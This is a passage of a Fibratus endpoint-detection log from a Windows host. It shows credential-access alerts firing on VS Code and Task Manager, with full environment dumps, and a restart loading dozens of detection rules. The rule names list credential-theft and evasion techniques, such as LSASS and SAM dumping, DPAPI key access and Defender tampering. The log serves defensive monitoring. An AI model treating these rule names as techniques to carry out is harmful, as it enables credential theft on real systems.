PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:48:26+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4937231 + Pid: 8604 + Tid: 13640 + Type: MapViewFile + CPU: 6 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:48:18.2682246 +0100 CET + Params: file_key➜ ffff808cc8fee000, offset➜ 0, pid➜ 8604, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 16c457e0000, view_size➜ 2097152 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, subtechnique.name: Windows Credential Manager, subtechnique.id: T1555.004, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 8604 + Ppid: 17220 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1684,i,5970045747267208523,10574949385857880792,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=1828 /prefetch:11 + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1684,i,5970045747267208523,10574949385857880792,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=1828 /prefetch:11] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_17220_NODNTTNTIUURPPVU COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8756_1262719628:1 EFC_8756_1592913036:1 EFC_8756_2283032206:1 EFC_8756_2775293581:1 EFC_8756_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:48:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T23:48:32+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:48:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:51:17+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:51:17+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-03T23:51:17+01:00 level=info msg=bootstrapping with pid 5732. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T23:51:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ to=>[] port=>25 use-template=>true content-type=>text/html enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-threadpool=>false enable-audit-api=>true flush-interval=>1s enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false buffer-size=>512 enable-vamap=>true max-buffers=>36 min-buffers=>16 enable-mem=>false enable-image=>true stack-enrichment=>true enable-fileio=>true enable-registry=>true enable-dns=>false enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text max-backups=>15 max-size=>100 max-age=>0 log-stdout=>true] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ healthcheck=>true trace-log=>false timeout=>5s enabled=>false template-name=>fibratus sniff=>false bulk-workers=>1 gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s healthcheck-interval=>10s flush-period=>1s index-name=>fibratus] amqp=>[ timeout=>5s exchange=>fibratus passive=>false routing-key=>fibratus exchange-type=>topic durable=>false tls-insecure-skip-verify=>false vhost=>/ url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false] http=>[ method=>POST endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false serializer=>json]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-files=>false skip-registry=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false scan-timeout=>10s fastscan=>true excluded-procs=>[] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-03T23:51:17+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:51:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:51:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4951949 + Pid: 2724 + Tid: 3728 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:51:19.9849066 +0100 CET + Params: file_key➜ ffff808cd7b11000, offset➜ 0, pid➜ 2724, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 21a842c0000, view_size➜ 20975616 + Metadata: technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.id: T1555 + + Pid: 2724 + Ppid: 18092 + Name: Taskmgr.exe + Cmdline: "C:\WINDOWS\system32\taskmgr.exe" /7 + Exe: C:\WINDOWS\system32\taskmgr.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\taskmgr.exe" /7] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program 